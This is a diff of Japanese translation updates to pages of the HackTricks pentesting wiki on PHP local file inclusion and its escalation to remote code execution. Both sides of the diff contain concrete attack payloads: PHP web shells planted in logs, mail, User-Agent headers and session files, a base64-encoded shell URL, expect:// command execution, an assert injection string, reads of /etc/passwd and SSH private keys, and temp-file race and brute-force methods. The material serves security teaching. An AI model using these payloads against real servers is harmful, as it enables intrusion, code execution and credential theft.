- これに加えて前述のもの(および推測された文字に応じた他のフィルタ)を組み合わせることで、テキストの最初の文字を推測することができます。十分な変換を行うことで、それが16進数文字でなくなるのを確認します。なぜなら、16進数の場合、dechunkはそれを削除せず、初期の爆弾がphpエラーを引き起こすからです。
|
||||||
- コーデック**convert.iconv.UNICODE.CP930**は、各文字を次の文字に変換します(このコーデックの後:a -> b)。これにより、最初の文字が`a`であるかどうかを発見できます。たとえば、6回このコーデックを適用すると、a->b->c->d->e->f->gとなり、文字はもはや16進数文字ではなくなります。したがって、dechunkはそれを削除せず、phpエラーが初期の爆弾とともにトリガーされます。
|
- コーデック**convert.iconv.UNICODE.CP930**は、各文字を次の文字に変換します(このコーデックの後:a -> b)。これにより、最初の文字が`a`であるかどうかを発見できます。たとえば、6回このコーデックを適用するとa->b->c->d->e->f->gとなり、文字はもはや16進数文字ではなくなります。したがって、dechunkはそれを削除せず、phpエラーが初期の爆弾によってトリガーされます。
|
||||||
- **rot13**のような他の変換を最初に使用することで、n、o、p、q、rなどの他の文字を漏洩させることが可能です(他のコーデックを使用して他の文字を16進数範囲に移動させることができます)。
|
- **rot13**のような他の変換を最初に使用することで、n、o、p、q、rなどの他の文字を漏洩させることが可能です(他のコーデックを使用して他の文字を16進数範囲に移動させることができます)。
|
||||||
- 最初の文字が数字の場合、それをbase64エンコードし、最初の2文字を漏洩させて数字を漏洩させる必要があります。
|
- 最初の文字が数字の場合、それをbase64エンコードし、数字を漏洩させるために最初の2文字を漏洩させる必要があります。
|
||||||
- 最後の問題は、**最初の文字以上のものを漏洩させる方法**です。**convert.iconv.UTF16.UTF-16BE、convert.iconv.UCS-4.UCS-4LE、convert.iconv.UCS-4.UCS-4LE**のような順序メモリフィルタを使用することで、文字の順序を変更し、テキストの最初の位置に他の文字を取得することが可能です。
|
- 最後の問題は、**最初の文字以上のものを漏洩させる方法**です。**convert.iconv.UTF16.UTF-16BE、convert.iconv.UCS-4.UCS-4LE、convert.iconv.UCS-4.UCS-4LE**のような順序メモリフィルタを使用することで、文字の順序を変更し、テキストの最初の位置に他の文字を取得することが可能です。
|
||||||
- さらに**データを取得する**ためのアイデアは、**最初に2バイトのジャンクデータを生成**し、**convert.iconv.UTF16.UTF16**を適用し、**UCS-4LE**を使用して**次の2バイトとピボットさせ**、**ジャンクデータまでデータを削除**することです(これにより、初期テキストの最初の2バイトが削除されます)。これを繰り返して、漏洩させたいビットに到達するまで続けます。
|
- さらに**データを取得する**ためのアイデアは、**最初に2バイトのジャンクデータを生成**し、**convert.iconv.UTF16.UTF16**を適用し、**UCS-4LE**を使用して次の2バイトと**ピボット**し、**ジャンクデータまでデータを削除**することです(これにより、初期テキストの最初の2バイトが削除されます)。これを希望するビットを漏洩させるまで続けます。
|
||||||
|
|
||||||
投稿には、これを自動的に実行するツールも漏洩しています:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
|
投稿には、これを自動的に実行するツールも漏洩しています:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
|
||||||
|
|
||||||
### php://fd
|
### php://fd
|
||||||
|
|
||||||
このラッパーは、プロセスがオープンしているファイルディスクリプタにアクセスすることを可能にします。開いているファイルの内容を抽出するのに潜在的に役立ちます:
|
このラッパーは、プロセスがオープンしているファイル記述子にアクセスすることを可能にします。開いているファイルの内容を抽出するのに潜在的に役立ちます:
|
||||||
```php
|
```php
|
||||||
echo file_get_contents("php://fd/3");
|
echo file_get_contents("php://fd/3");
|
||||||
$myfile = fopen("/etc/passwd", "r");
|
$myfile = fopen("/etc/passwd", "r");
|
||||||
```
|
```
|
||||||
**php://stdin、php://stdout、php://stderr**を使用して、それぞれ**ファイルディスクリプタ0、1、2**にアクセスすることもできます(攻撃にどのように役立つかは不明です)。
|
**php://stdin、php://stdout、php://stderr**を使用して、それぞれ**ファイルディスクリプタ0、1、2**にアクセスできます(攻撃にどのように役立つかは不明です)。
|
||||||
|
|
||||||
### zip:// と rar://
|
### zip:// と rar://
|
||||||
|
|
||||||
@ -326,7 +326,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|||||||
|
|
||||||
### expect://
|
### expect://
|
||||||
|
|
||||||
Expectを有効にする必要があります。これを使用してコードを実行できます:
|
Expectを有効にする必要があります。これを使用してコードを実行できます:
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=expect://id
|
http://example.com/index.php?page=expect://id
|
||||||
http://example.com/index.php?page=expect://ls
|
http://example.com/index.php?page=expect://ls
|
||||||
@ -352,11 +352,11 @@ $phar->stopBuffering();
|
|||||||
```bash
|
```bash
|
||||||
php --define phar.readonly=0 create_path.php
|
php --define phar.readonly=0 create_path.php
|
||||||
```
|
```
|
||||||
実行時に `test.phar` というファイルが作成され、これを利用してローカルファイルインクルージョン (LFI) 脆弱性を悪用する可能性があります。
|
実行時に、`test.phar`という名前のファイルが作成され、これを利用してローカルファイルインクルージョン(LFI)脆弱性を悪用する可能性があります。
|
||||||
|
|
||||||
LFI が PHP コードを実行せずにファイルを読み取るだけの場合、`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、または `filesize()` などの関数を通じて、デシリアライズ脆弱性の悪用を試みることができます。この脆弱性は、`phar` プロトコルを使用してファイルを読み取ることに関連しています。
|
LFIがファイルを読み取るだけで、PHPコードを実行しない場合、`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、または`filesize()`などの関数を通じて、デシリアライズ脆弱性の悪用を試みることができます。この脆弱性は、`phar`プロトコルを使用してファイルを読み取ることに関連しています。
|
||||||
|
|
||||||
`.phar` ファイルのコンテキストにおけるデシリアライズ脆弱性の悪用についての詳細な理解は、以下のリンクされた文書を参照してください:
|
`.phar`ファイルのデシリアライズ脆弱性を悪用する詳細な理解については、以下のリンクされた文書を参照してください:
|
||||||
|
|
||||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||||
|
|
||||||
@ -366,32 +366,32 @@ phar-deserialization.md
|
|||||||
|
|
||||||
### CVE-2024-2961
|
### CVE-2024-2961
|
||||||
|
|
||||||
**php フィルターをサポートする任意のファイルを PHP から読み取ることを悪用して RCE を得ることが可能でした。** 詳細な説明は[**この投稿で見つけることができます**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
|
**phpフィルターをサポートする任意のファイルをPHPから読み取ることを悪用してRCEを取得することが可能でした。** 詳細な説明は[**この投稿で見つけることができます**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
|
||||||
非常に簡単な要約:PHP ヒープ内の **3 バイトオーバーフロー** を悪用して、特定のサイズのフリーチャンクのチェーンを **変更し、任意のアドレスに何でも書き込むことができるようにしました**。そのため、**`system`** を呼び出すフックが追加されました。\
|
非常に簡単な要約:PHPヒープの**3バイトオーバーフロー**が悪用され、特定のサイズのフリーチャンクのチェーンを**変更するために**、**任意のアドレスに何でも書き込むことができるように**、フックが追加されて**`system`**を呼び出しました。\
|
||||||
特定のサイズのチャンクを割り当てることが、他の PHP フィルターを悪用して可能でした。
|
特定のサイズのチャンクを割り当てることが可能で、さらに多くのPHPフィルターを悪用しました。
|
||||||
|
|
||||||
### その他のプロトコル
|
### さらなるプロトコル
|
||||||
|
|
||||||
ここに含める可能性のある[ **プロトコルをもっと確認してください**](https://www.php.net/manual/en/wrappers.php)**:**
|
ここに含める可能性のある[ **プロトコルを確認してください**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||||
|
|
||||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込む (ファイルインクルージョン攻撃でどのように役立つかは不明)
|
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込む(ファイルインクルージョン攻撃でどのように役立つかは不明)
|
||||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへのアクセス
|
- [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへのアクセス
|
||||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(S) URL へのアクセス
|
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(S) URLへのアクセス
|
||||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(S) URL へのアクセス
|
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(S) URLへのアクセス
|
||||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 圧縮ストリーム
|
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 圧縮ストリーム
|
||||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を見つける (何も印刷可能なものを返さないので、ここではあまり役に立たない)
|
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を見つける(何も印刷可能なものを返さないので、ここではあまり役に立たない)
|
||||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — セキュアシェル 2
|
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — セキュアシェル2
|
||||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム (任意のファイルを読むには役に立たない)
|
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意のファイルを読むには役に立たない)
|
||||||
|
|
||||||
## PHP の 'assert' を介した LFI
|
## PHPの'assert'によるLFI
|
||||||
|
|
||||||
PHP におけるローカルファイルインクルージョン (LFI) リスクは、文字列内でコードを実行できる 'assert' 関数を扱う際に特に高くなります。これは、".." のようなディレクトリトラバーサル文字を含む入力がチェックされているが、適切にサニタイズされていない場合に特に問題です。
|
PHPにおけるローカルファイルインクルージョン(LFI)のリスクは、文字列内でコードを実行できる'assert'関数を扱う際に特に高くなります。これは、".."のようなディレクトリトラバーサル文字を含む入力がチェックされているが、適切にサニタイズされていない場合に特に問題です。
|
||||||
|
|
||||||
例えば、PHP コードは次のようにディレクトリトラバーサルを防ぐように設計されることがあります:
|
例えば、PHPコードは次のようにディレクトリトラバーサルを防ぐように設計されることがあります:
|
||||||
```bash
|
```bash
|
||||||
assert("strpos('$file', '..') === false") or die("");
|
assert("strpos('$file', '..') === false") or die("");
|
||||||
```
|
```
|
||||||
この対策はトラバーサルを防ぐことを目的としていますが、意図せずコードインジェクションのベクターを作成します。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のようにすることができます:
|
この対策はトラバーサルを防ぐことを目的としていますが、意図せずコードインジェクションのベクターを作成します。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のように使用できます:
|
||||||
```plaintext
|
```plaintext
|
||||||
' and die(highlight_file('/etc/passwd')) or '
|
' and die(highlight_file('/etc/passwd')) or '
|
||||||
```
|
```
|
||||||
@ -404,7 +404,7 @@ assert("strpos('$file', '..') === false") or die("");
|
|||||||
## PHPブラインドパススラベル
|
## PHPブラインドパススラベル
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> この技術は、**PHP関数**の**ファイルパス**を**制御**できる場合に関連していますが、ファイルの内容は表示されません(**`file()`**への単純な呼び出しのように)が、内容は表示されません。
|
> この技術は、**ファイルパス**を**制御**できる**PHP関数**が**ファイルにアクセス**する場合に関連していますが、ファイルの内容は表示されません(**`file()`**への単純な呼び出しのように)が、内容は表示されません。
|
||||||
|
|
||||||
[**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)では、ブラインドパススラベルがPHPフィルターを介して**エラーオラクルを介してファイルの内容を抽出する**方法が説明されています。
|
[**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)では、ブラインドパススラベルがPHPフィルターを介して**エラーオラクルを介してファイルの内容を抽出する**方法が説明されています。
|
||||||
|
|
||||||
@ -427,9 +427,9 @@ assert("strpos('$file', '..') === false") or die("");
|
|||||||
ApacheまたはNginxサーバーが**LFIに脆弱**な場合、インクルード関数内で**`/var/log/apache2/access.log`または`/var/log/nginx/access.log`**にアクセスし、**ユーザーエージェント**内または**GETパラメータ**内に**`<?php system($_GET['c']); ?>`**のようなPHPシェルを設定し、そのファイルをインクルードすることができます。
|
ApacheまたはNginxサーバーが**LFIに脆弱**な場合、インクルード関数内で**`/var/log/apache2/access.log`または`/var/log/nginx/access.log`**にアクセスし、**ユーザーエージェント**内または**GETパラメータ**内に**`<?php system($_GET['c']); ?>`**のようなPHPシェルを設定し、そのファイルをインクルードすることができます。
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> シェルに**シングルクォート**の代わりに**ダブルクォート**を使用すると、ダブルクォートは文字列"_**quote;**_"に変更され、**PHPはそこでエラーをスローし**、**他の何も実行されません**。
|
> シェルに**シングルクォート**の代わりに**ダブルクォート**を使用すると、ダブルクォートは"_**quote;**_"という文字列に変更され、**PHPはそこでエラーをスローし**、**他の何も実行されません**。
|
||||||
>
|
>
|
||||||
> また、**ペイロードを正しく記述する**ことを確認してください。さもなければ、PHPはログファイルを読み込もうとするたびにエラーを出し、二度と機会がありません。
|
> また、**ペイロードを正しく記述することを確認してください**。さもなければ、PHPはログファイルを読み込もうとするたびにエラーを出し、二度とチャンスはありません。
|
||||||
|
|
||||||
他のログでもこれを行うことができますが、**注意してください**。ログ内のコードはURLエンコードされている可能性があり、これがシェルを破壊する可能性があります。ヘッダー**authorization "basic"**には、Base64で"ユーザー:パスワード"が含まれており、ログ内でデコードされます。PHPShellはこのヘッダー内に挿入できます。\
|
他のログでもこれを行うことができますが、**注意してください**。ログ内のコードはURLエンコードされている可能性があり、これがシェルを破壊する可能性があります。ヘッダー**authorization "basic"**には、Base64で"ユーザー:パスワード"が含まれており、ログ内でデコードされます。PHPShellはこのヘッダー内に挿入できます。\
|
||||||
他の可能なログパス:
|
他の可能なログパス:
|
||||||
@ -448,7 +448,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
|||||||
|
|
||||||
### メール経由
|
### メール経由
|
||||||
|
|
||||||
**メールを送信**して、PHPペイロードを含む内部アカウント (user@localhost) に送信します。ペイロードは `<?php echo system($_REQUEST["cmd"]); ?>` のようにし、ユーザーのメールに **`/var/mail/<USERNAME>`** または **`/var/spool/mail/<USERNAME>`** のようなパスを使って含めてみてください。
|
**メールを送信** して、PHPペイロード `<?php echo system($_REQUEST["cmd"]); ?>` を含む内部アカウント (user@localhost) に送信し、**`/var/mail/<USERNAME>`** または **`/var/spool/mail/<USERNAME>`** のようなパスでユーザーのメールに含めることを試みます。
|
||||||
|
|
||||||
### /proc/\*/fd/\* 経由
|
### /proc/\*/fd/\* 経由
|
||||||
|
|
||||||
@ -457,7 +457,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
|||||||
|
|
||||||
### /proc/self/environ 経由
|
### /proc/self/environ 経由
|
||||||
|
|
||||||
ログファイルのように、User-Agentにペイロードを送信します。これにより、/proc/self/environファイル内に反映されます。
|
ログファイルのように、User-Agent にペイロードを送信します。これにより、/proc/self/environ ファイル内に反映されます。
|
||||||
```
|
```
|
||||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||||
User-Agent: <?=phpinfo(); ?>
|
User-Agent: <?=phpinfo(); ?>
|
||||||
@ -492,24 +492,24 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
|
|||||||
```
|
```
|
||||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||||
```
|
```
|
||||||
LFIを使用してPHPセッションファイルを含めます
|
LFIを使用してPHPセッションファイルを含めます。
|
||||||
```
|
```
|
||||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||||
```
|
```
|
||||||
### Via ssh
|
### Via ssh
|
||||||
|
|
||||||
sshがアクティブな場合、どのユーザーが使用されているかを確認します (/proc/self/status & /etc/passwd) そして **\<HOME>/.ssh/id_rsa** にアクセスを試みます。
|
sshがアクティブな場合、どのユーザーが使用されているかを確認します(/proc/self/status & /etc/passwd)し、**\<HOME>/.ssh/id_rsa**にアクセスを試みます。
|
||||||
|
|
||||||
### **Via** **vsftpd** _**logs**_
|
### **Via** **vsftpd** _**logs**_
|
||||||
|
|
||||||
FTPサーバーvsftpdのログは _**/var/log/vsftpd.log**_ にあります。Local File Inclusion (LFI) 脆弱性が存在し、公開されたvsftpdサーバーにアクセス可能なシナリオでは、以下の手順を考慮できます:
|
FTPサーバーvsftpdのログは_**/var/log/vsftpd.log**_にあります。Local File Inclusion (LFI)の脆弱性が存在し、公開されたvsftpdサーバーにアクセスできるシナリオでは、以下の手順を考慮できます。
|
||||||
|
|
||||||
1. ログインプロセス中にユーザー名フィールドにPHPペイロードを注入します。
|
1. ログインプロセス中にユーザー名フィールドにPHPペイロードを注入します。
|
||||||
2. 注入後、LFIを利用して _**/var/log/vsftpd.log**_ からサーバーログを取得します。
|
2. 注入後、LFIを利用して_**/var/log/vsftpd.log**_からサーバーログを取得します。
|
||||||
|
|
||||||
### Via php base64 filter (using base64)
|
### Via php base64 filter (using base64)
|
||||||
|
|
||||||
[この](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)記事に示されているように、PHP base64フィルターは非base64を無視します。これを使用してファイル拡張子のチェックをバイパスできます:もし".php"で終わるbase64を提供すると、"."を無視してbase64に"php"を追加します。以下はペイロードの例です:
|
[この](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)記事に示されているように、PHP base64フィルターは非base64を無視します。これを利用してファイル拡張子のチェックをバイパスできます:もし".php"で終わるbase64を提供すると、"."を無視して"php"をbase64に追加します。以下はペイロードの例です:
|
||||||
```url
|
```url
|
||||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||||
|
|
||||||
@ -525,7 +525,7 @@ lfi2rce-via-php-filters.md
|
|||||||
|
|
||||||
### Via segmentation fault
|
### Via segmentation fault
|
||||||
|
|
||||||
**ファイルをアップロード**し、それが`/tmp`に**一時的に**保存されるようにします。その後、**同じリクエストで、** **セグメンテーションフォルト**を引き起こし、**一時ファイルが削除されない**ようにし、それを検索できます。
|
**ファイルをアップロード**し、それが`/tmp`に**一時的に**保存されるようにします。その後、**同じリクエストで、** **セグメンテーションフォルト**を引き起こすと、**一時ファイルは削除されず**、それを検索できます。
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-segmentation-fault.md
|
lfi2rce-via-segmentation-fault.md
|
||||||
@ -557,7 +557,7 @@ lfi2rce-via-temp-file-uploads.md
|
|||||||
|
|
||||||
### Via `pearcmd.php` + URL args
|
### Via `pearcmd.php` + URL args
|
||||||
|
|
||||||
[**この投稿で説明されているように**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)、スクリプト`/usr/local/lib/phppearcmd.php`は、php dockerイメージにデフォルトで存在します。さらに、URLを介してスクリプトに引数を渡すことが可能で、URLパラメータに`=`がない場合、それを引数として使用する必要があると示されています。
|
[**この投稿で説明されているように**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)、スクリプト`/usr/local/lib/phppearcmd.php`は、php dockerイメージにデフォルトで存在します。さらに、URLを介してスクリプトに引数を渡すことが可能で、URLパラメータに`=`がない場合、それを引数として使用する必要があることが示されています。
|
||||||
|
|
||||||
次のリクエストは、`/tmp/hello.php`に`<?=phpinfo()?>`という内容のファイルを作成します:
|
次のリクエストは、`/tmp/hello.php`に`<?=phpinfo()?>`という内容のファイルを作成します:
|
||||||
```bash
|
```bash
|
||||||
@ -572,7 +572,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
|||||||
```
|
```
|
||||||
### phpinfo()を介して (file_uploads = on)
|
### phpinfo()を介して (file_uploads = on)
|
||||||
|
|
||||||
**Local File Inclusion**と**phpinfo()**を公開しているファイルが見つかり、file_uploads = onの場合、RCEを取得できます:
|
**Local File Inclusion**を見つけ、file_uploads = onの**phpinfo()**を公開しているファイルがあれば、RCEを取得できます:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-phpinfo.md
|
lfi2rce-via-phpinfo.md
|
||||||
@ -580,7 +580,7 @@ lfi2rce-via-phpinfo.md
|
|||||||
|
|
||||||
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + パス開示を介して
|
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + パス開示を介して
|
||||||
|
|
||||||
**Local File Inclusion**が見つかり、**一時ファイルのパスを外部に流出させることができるが、**サーバーが**含めるファイルにPHPマークがあるかを**チェックしている**場合、この**レースコンディション**を使って**そのチェックを回避**しようとすることができます:
|
**Local File Inclusion**を見つけ、**一時ファイルのパスを外部に漏洩できるが、**サーバーが**含めるファイルにPHPマークがあるかを**チェックしている場合、**この**レースコンディション**を使って**そのチェックをバイパス**しようとすることができます:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||||
@ -588,7 +588,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
|||||||
|
|
||||||
### 永遠の待機 + ブルートフォースを介して
|
### 永遠の待機 + ブルートフォースを介して
|
||||||
|
|
||||||
LFIを悪用して**一時ファイルをアップロード**し、サーバーがPHP実行を**ハング**させることができる場合、**数時間にわたってファイル名をブルートフォース**して一時ファイルを見つけることができます:
|
LFIを悪用して**一時ファイルをアップロード**し、サーバーがPHP実行を**ハング**させることができれば、**数時間にわたってファイル名をブルートフォース**して一時ファイルを見つけることができます:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-eternal-waiting.md
|
lfi2rce-via-eternal-waiting.md
|
||||||
@ -596,10 +596,10 @@ lfi2rce-via-eternal-waiting.md
|
|||||||
|
|
||||||
### 致命的エラーに至る
|
### 致命的エラーに至る
|
||||||
|
|
||||||
`/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`のいずれかのファイルを含めると、(同じファイルを2回含める必要があります。このエラーを引き起こすために)。
|
`/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`のいずれかのファイルを含めると、(そのエラーを引き起こすために同じものを2回含める必要があります)。
|
||||||
|
|
||||||
**これがどのように役立つのかはわかりませんが、役立つかもしれません。**\
|
**これがどのように役立つのかはわかりませんが、役立つかもしれません。**\
|
||||||
&#xNAN;_EたとえPHP致命的エラーを引き起こしても、アップロードされたPHP一時ファイルは削除されます。_
|
&#xNAN;_EたとえPHPの致命的エラーを引き起こしても、アップロードされたPHPの一時ファイルは削除されます。_
|
||||||
|
|
||||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -22,18 +22,18 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
|
|||||||
*newstream = php_stream_temp_new();
|
*newstream = php_stream_temp_new();
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### レースコンディションからRCEへ
|
### レースコンディションによるRCE
|
||||||
|
|
||||||
[**このCTF**](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)は前述のトリックを使用して解決されました。
|
[**このCTF**](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)は、前のトリックを使用して解決されました。
|
||||||
|
|
||||||
攻撃者は**被害者サーバーが攻撃者のサーバーからファイルを読み込む接続を開く**ようにします。この接続は**`compress.zlib`**プロトコルを使用します。
|
攻撃者は、**`compress.zlib`**プロトコルを使用して、**攻撃者のサーバーからファイルを読み込む接続を被害者サーバーに開かせます**。
|
||||||
|
|
||||||
**この接続**が存在している間、攻撃者は**作成された一時ファイルのパスを外部に流出させます**(サーバーによって漏洩されます)。
|
**この接続**が存在している間、攻撃者は**作成された一時ファイルのパスを外部に流出させます**(サーバーによって漏洩されます)。
|
||||||
|
|
||||||
**接続**がまだ開いている間、攻撃者は**自分が制御する一時ファイルを読み込むLFIを悪用します**。
|
**接続**がまだ開いている間、攻撃者は**自分が制御する一時ファイルを読み込むLFIを悪用します**。
|
||||||
|
|
||||||
しかし、ウェブサーバーには**`<?`**を含むファイルの読み込みを**防ぐ**チェックがあります。したがって、攻撃者は**レースコンディション**を悪用します。まだ開いている接続の中で、**攻撃者**は**ウェブサーバーがファイルに禁止された文字が含まれているかをチェックした後**に**PHPペイロードを送信しますが、**その内容を読み込む前**に送信します。
|
しかし、ウェブサーバーには、**`<?`**を含むファイルの読み込みを**防ぐ**チェックがあります。したがって、攻撃者は**レースコンディション**を悪用します。まだ開いている接続の中で、**攻撃者**は**ウェブサーバーが禁止された文字を含むかどうかをチェックした後に**PHPペイロードを**送信しますが、**その内容を読み込む前に**送信します。
|
||||||
|
|
||||||
詳細については、レースコンディションとCTFの説明を[https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)で確認してください。
|
詳細については、[https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)のレースコンディションとCTFの説明を確認してください。
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -4,9 +4,9 @@
|
|||||||
|
|
||||||
## 基本情報
|
## 基本情報
|
||||||
|
|
||||||
デフォルトでは、ファイルがPHPにアップロードされると(期待していなくても)、**`php[a-zA-Z0-9]{6}`**のような名前の一時ファイルが`/tmp`に生成されます。ただし、生成されたファイルに数字が含まれないdockerイメージも見たことがあります。
|
デフォルトでは、ファイルがPHPにアップロードされると(期待されていなくても)、**`php[a-zA-Z0-9]{6}`**のような名前の一時ファイルが`/tmp`に生成されます。ただし、生成されたファイルに数字が含まれないdockerイメージも見たことがあります。
|
||||||
|
|
||||||
ローカルファイルインクルージョンでは、**そのアップロードされたファイルを含めることができれば、RCEを得ることができます**。
|
ローカルファイルインクルージョンでは、**そのアップロードされたファイルをインクルードできれば、RCEを得ることができます**。
|
||||||
|
|
||||||
デフォルトでは、**PHPは単一のリクエストで20ファイルのアップロードのみを許可します**(`/etc/php/<version>/apache2/php.ini`で設定されています):
|
デフォルトでは、**PHPは単一のリクエストで20ファイルのアップロードのみを許可します**(`/etc/php/<version>/apache2/php.ini`で設定されています):
|
||||||
```
|
```
|
||||||
@ -22,24 +22,24 @@ max_file_uploads = 20
|
|||||||
|
|
||||||
### 永遠の待機技術
|
### 永遠の待機技術
|
||||||
|
|
||||||
この技術では**相対パスを制御する必要があるだけです**。ファイルをアップロードし、**LFIが決して終わらないようにすることができれば**、アップロードされたファイルを**ブルートフォース**して**見つけるための「十分な時間」を得ることができます**。
|
この技術では**相対パスを制御するだけで済みます**。ファイルをアップロードし、**LFIが決して終わらないようにすることができれば**、アップロードされたファイルを**ブルートフォース**して**見つけるための「十分な時間」を得ることができます**。
|
||||||
|
|
||||||
**この技術の利点**:
|
**この技術の利点**:
|
||||||
|
|
||||||
- インクルード内の相対パスを制御するだけで済む
|
- インクルード内の相対パスを制御するだけで済みます
|
||||||
- nginxやログファイルへの予期しないアクセスレベルを必要としない
|
- nginxやログファイルへの予期しないアクセスレベルを必要としません
|
||||||
- セグメンテーションフォルトを引き起こすために0デイを必要としない
|
- セグメンテーションフォルトを引き起こすために0デイを必要としません
|
||||||
- パスの開示を必要としない
|
- パスの開示を必要としません
|
||||||
|
|
||||||
この技術の**主な問題**は次のとおりです:
|
この技術の**主な問題**は次のとおりです:
|
||||||
|
|
||||||
- 特定のファイルが存在する必要がある(他にもあるかもしれません)
|
- 特定のファイルが存在する必要があります(他にもあるかもしれません)
|
||||||
- **潜在的なファイル名の**「狂気のような」数: **56800235584**
|
- **途方もない**潜在的なファイル名の数: **56800235584**
|
||||||
- サーバーが**数字を使用していない**場合、潜在的な合計は: **19770609664**
|
- サーバーが**数字を使用していない**場合、潜在的な合計は: **19770609664**
|
||||||
- デフォルトでは**1回のリクエストで20ファイル**しかアップロードできません。
|
- デフォルトでは**1回のリクエストで20ファイルのみ**アップロードできます。
|
||||||
- 使用されるサーバーの**最大並列ワーカー数**。
|
- 使用されるサーバーの**最大並列ワーカー数**。
|
||||||
- この制限と前述の制限により、この攻撃が長引く可能性があります
|
- この制限は前のものと組み合わせると、この攻撃が長引く可能性があります
|
||||||
